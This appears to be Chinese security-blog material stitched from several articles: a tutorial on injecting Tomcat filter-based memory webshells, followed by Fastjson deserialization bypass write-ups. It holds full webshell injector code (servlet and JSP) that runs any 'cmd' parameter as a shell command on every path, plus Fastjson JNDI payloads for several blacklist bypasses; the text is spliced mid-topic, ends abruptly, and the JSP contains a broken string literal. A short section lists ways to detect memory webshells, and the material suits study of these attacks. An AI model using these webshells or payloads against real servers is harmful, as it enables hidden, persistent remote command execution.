public class Demo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter init");
    }



    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.setCharacterEncoding("utf-8");
        request.setCharacterEncoding("utf-8");
        response.setContentType("text/html;Charset=UTF-8");
        System.out.println("接收到了请求,并且马上进行过滤");
        chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet,你需要请求的资源
        System.out.println("过滤完了");
    }



    @Override
    public void destroy() {
        System.out.println("WOW Filter destroy");
    }
}

Servlet实现的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MyServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("我是doGet方法");
        resp.getWriter().print("success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里可以用web.xml注册下,也可以直接用注解。为了后续方便,这里添加web.xml,设置url-pattern为 /demo 即访问 /demo 才会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>Demo</filter-name>
<filter-class>Demo</filter-class>
</filter>

<filter-mapping>
<filter-name>Demo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>

</web-app>

结果如下,可以看到是 过滤器先接收到请求,然后再转发给Servlet,然后Servlet走了之后又回到过滤器中再之后doFilter之后的内容
图片

上面了解了关于Filter对象的学习,那么其实内存马也差不多了解了,就是对一个Filter接口实现的对象

先实现一个简单的Filter对象的命令执行的效果

首先那么就是在接口中进行对数据的传入进行判断,对于特殊的字段进行判断,比如”cmd”,”command”类似的headers来进行判断,这种实现了之后,我们还需要进行全局过滤,就是任何一个路径都需要进行过滤,所以在Servlet中实现的时候,映射的Mapping也需要是为/*这种形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class DemoFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null){
            Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
            InputStream inputStream = exec.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String output = scanner.hasNext() ? scanner.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        System.out.println("过滤器调用完毕,开始转发给Servlet...");
        chain.doFilter(request,response);

    }

    @Override
    public void destroy() {

    }
}

访问输入命令即可运行并且回显在页面上
上面是关于过滤链,那么对于内存马的实现,首先得明白一点,在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了

所以对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象

0x04 Filter型内存马注入

知识点1:ServletContext

web应用启动的时候,都会产生一个ServletContext为接口的对象,因为在web中这个ServletContext对象的一些数据能够保证Servlets稳定运行

那么该对象如何获得?

在tomcat容器中ServletContext的实现类是ApplicationContext类

在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象。

我们这里通过一个ServletContext servletContext = this.getServletContext();来进行观察这个servletContext是不是我们上面所说的ApplicationContextFacade这个对象

图片

图片

我们可以看到这个名为ApplicationContextFacade类,到这里可以说明Tomcat的ServletContext对象确实是ApplicationContextFacade对象

调试具体流程前,了解下可能会遇到的一些类

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

ok,现在开始分析下Tomcat是怎么调用我们自定义的filter。

知识点2:组装Filters的流程

这调试tomcat的话,需要注意的记得把tomcat下的lib文件导入到idea工程中,要不然idea在调试的时候是找不到的

找到ApplicationFilterChain对象中,internalDoFilter方法上打上断点

图片

继续跟,可以看到这个internalDoFilter方法获取到了我们所实现的MemoryFilter对象

图片

图片

internalDoFilter方法中接着又会开始调用MemoryFilter对象中实现的doFilter方法

图片

接着就是来到了我们所实现的doFilter的方法,也就是我们执行命令的方法

图片

这里为什么下断点会下在ApplicationFilterChain对象中的internalDoFilter呢

首先来看ApplicationFilterChain对象是什么,这个其实就是调用Filter对象的调度类,就是专门拿来调用所有实现的Filter对象的doFilter方法,其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

ApplicationFilterChain这个对象又是哪来的呢?我们可以从调用栈中进行观察,下面的图中可以看到StandardWrapperValve这个类中的invoke方法来进行调用的

图片

来到这个StandardWrapperValve的调用栈invoke方法中,可以看到是通过doFilter来进行调用

图片

在StandardWrapperValve类的invoke中,往上拉,其中可以看到这里的filterChain为ApplicationFilterChain的实例化,到这里就可以思考下,上面说到的filterChain.doFilter的filterChain,原来filterChain属性是通过ApplicationFilterFactory.createFilterChain这个方法所获得的,这里继续跟到createFilterChain方法中进行查看

图片

跟进createFilterChain的方法中,它会获取一个StandardContext对象(这个就是我们先引入的知识点1),通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象,获得到的Filter对象都会放到一个filterMaps的FilterMap数组中去,可以看到当前获得的就两个Filter,其中一个是tomcat默认的,还有个就是我们自己实现的MemoryFilter对象,filterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url,继续往下看

图片

发现会遍历 FilterMaps 中的 FilterMap(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。

跟进addFilter函数

图片

在addFilter函数中首先会遍历filters,然后针对filter进行去重

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中

图片

至此 filterChain 组装完毕,重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法

图片

在 doFilter 方法中会调用 internalDoFilter方法

图片

在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig

知识点3:FilterConfig

现在已经知道了ApplicationFilterChain这个对象的由来和它的作用,我们继续整理下,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法

继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象?

答案是的,那需要如何实现?回到这个createFilterChain方法中,我们可以看下如下,每次成功添加一个filterConfig则意味着Filter对象的成功被添加进去

图片

这个FilterConfig对象中包含着如下属性

图片

该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

那么想要实现一个完整的filterConfig,那么也就是需要这三个,一个是ServletContext,一个是filter,一个是filterDef

这里我们第一步为什么要先获取ServletContext对象,原因就是想要获取filterConfigs就需要通过ServletContext来获取

做个总结

  1. 根据请求的 url 从 FilterMaps 中找出与之 url 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
    根据上面的简单总结,可以发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存马

之前分析流程的时候,我们知道FiltersMaps是从context中获取的。

图片

那很明显了,我们要先获得这个context,这里看大佬的笔记是先从request获取,将servletcontext转为standardcontext从而获取context

ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

1
2
3
4
5
6
7
8
9
10
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

其他获取的方法比如从线程获取等,但还没去看,先放一放
大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
    每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class InjectMemoryServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = req.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里的javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3,该方法只支持Tomcat7.x以上

1
filterMap.setDispatcher(DispatcherType.REQUEST.name());

最终内存马是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "test;
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};



FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

开启服务,访问该内存马显示成功,随后?cmd=command便能执行我们的命令(这里是linux平台,可以做一点修改)
这里举个例子,先判断系统,再对命令执行的细节进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();

0x05 排查内存马的几个方法

要排查的前提是先识别出,所以要思考下内存马有什么特征

  1. 名字
    内存马的Filter名一般比较特别,有shell或者随机数等关键字。这个因素并不一定完全正确,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常。

  2. filter优先级是第一位
    为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。

  3. 对比web.xml中没有filter配置
    内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。

  4. 特殊classloader加载
    我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
  • com.sun.org.apache.bcel.internal.util.ClassLoader
    这个同Filter名一样,只是作为一个可以参考的因素来决定,不一定完全正确,攻击者也可以完全绕过这两个类来进行构造

0x01 影响版本

Fastjson 1.2.x系列的1.2.25-1.2.47版本。

0x02 限制

主要是JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

0x03 复现利用

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

Demo如下,无需开启AutoTypeSupport,本地Fastjson用的是1.2.47版本:

1
2
3
4
5
6
7
8
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

此外,还需要开启RMI服务或LDAP服务以及放置恶意类的Web服务,具体可参考之前的Fastjson系列文章即可。
运行能成功弹计算器

POC:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}

可以看到还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。
但是如果目标服务端开启了AutoTypeSupport呢?

经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

    0x04 调试分析

下面我们来调试分析下该PoC为啥会成功。

不受AutoTypeSupport影响的版本

不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。

未开启AutoTypeSupport时

在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。

在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回:

图片

图片

往下调试,调用到MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量

图片

图片

图片

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类

图片

图片

在TypeUtils.loadClass()函数中,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会将其缓存在Map中

图片

在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测

图片

图片

图片

开启AutoTypeSupport时

由前面知道,开启AutoTypeSupport后,在checkAutoType()函数中会进入黑白名单校验的代码逻辑。

在第一部分JSON数据的扫描解析中,由于@type指向java.lang.Class,因此即使是开启AutoTypeSupport先后进行白名单、黑名单校验的情况下都能成功通过检测,之后和前面的一样调用findClass()函数获取到Class类

图片

图片

图片

关键在于第二部分JSON数据的扫描解析。第二部分的@type指向的是利用类”com.sun.rowset.JdbcRowSetImpl”,其中的”com.sun.”是在denyList黑名单中的,但是为何在检测时能成功绕过呢?

我们调试发现,逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的

1
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞

受AutoTypeSupport影响的版本

受AutoTypeSupport影响的版本为1.2.25-1.2.32,本次调试的是1.2.25版本。

开启AutoTypeSupport时

我们在开启AutoTypeSupport之后,会利用失败,报如下错

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试发现,在第一部分JSON数据的解析中,checkAutoType()函数的处理过程和前面是差不多的。能够成功通过该函数的检测,因此问题不在这,继续往下调试。
在第二部分JSON数据的解析中,@type指向的”com.sun.rowset.JdbcRowSetImpl”在checkAutoType()函数中会被dentList黑名单中的”com.sun.”匹配到,因此会直接报错显示不支持

图片

图片

可以明显看到,第一个if语句是白名单过滤,第二个if语句是黑名单过滤,其中黑名单过滤的if语句中的判断条件和前面的不受影响的版本的不一样,对比下是少了个判断条件,即TypeUtils.getClassFromMapping(typeName) == null

未开启AutoTypeSupport时

当不开启AutoTypeSupport时就不会进入该黑白名单校验的代码逻辑中,就不会被过滤报错。

这里,我们换个不受AutoTypeSupport影响的且未使用哈希黑名单的版本来方便我们进行对比查看,这里选了1.2.33,看下checkAutoType()中对应的代码

图片

对比黑名单校验的if判断语句条件就知道了,为什么后面的版本不受影响,那是因为通过&&多添加了一个判断条件TypeUtils.getClassFromMapping(typeName) == null,但是第二部分JSON内容中的类已经通过第一部分解析的时候加载到Map中缓存了,因此该条件不成立从而成功绕过

1
2
3
4
5
// 受AutoTypeSupport影响的版本
if (className.startsWith(deny)) {

// 不受AutoTypeSupport影响的版本
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {

0x05 补丁分析

1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

运行会报错:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了
1.2.48版本

图片

1.2.47版本

图片

图片

导致目标类并不能缓存到Map中了

图片

图片

因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉

图片

在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

网上一些文章讲的都是针对特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从1.2.25开始的一系列版本

PS:需开启AutoTypeSupport才能成功。

0x01 hash黑名单

通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。

从1.2.42版本开始,Fastjson把原本明文的黑名单改成了哈希过的黑名单,目的就是为了防止攻击者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

这里具体名单就不放出,链接已放

0x02 1.2.25-1.2.41补丁绕过

绕过利用

本地fastjson用的是1.2.41版本。

这里Demo还是用的上一篇文章基于JdbcRowSetImpl的利用链的PoC。

直接运行的话会报错,原因就是checkAutoType()函数中的黑名单过滤了”com.sun.”

图片

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

上面这里直接给出payload
关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;

注意是要开启AutoTypeSupport的,添加以下代码就ok了:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

(加在JNDIClient也就是客户端)
直接运行即可绕过checkAutoType()黑名单实现弹计算器

图片

调试分析

我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤

我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验,再往下开始调用TypeUtils.loadClass()

图片

图片

跟进TypeUtils.loadClass()函数,这里我们在之前的文章中年已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过

图片

图片

0x03 1.2.25-1.2.42补丁绕过

绕过利用

先直接给出payload:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;
在1.2.22-1.2.42版本运行都能成功触发:

图片

调试分析

自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单

在checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作

图片

图片

但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。

后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;进行denyList黑名单过滤,也就顺利绕过了。

注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;

图片

图片

为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名

图片

图片

0x04 1.2.25-1.2.43补丁绕过

绕过利用

直接给出payload:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC:[com.sun.rowset.JdbcRowSetImpl
但是如果我们一开始payload直接这样写是会报错的:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload,在第一个逗号前面加个”[“

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

因此就修改得到最终版payload,能够成功触发

调试分析

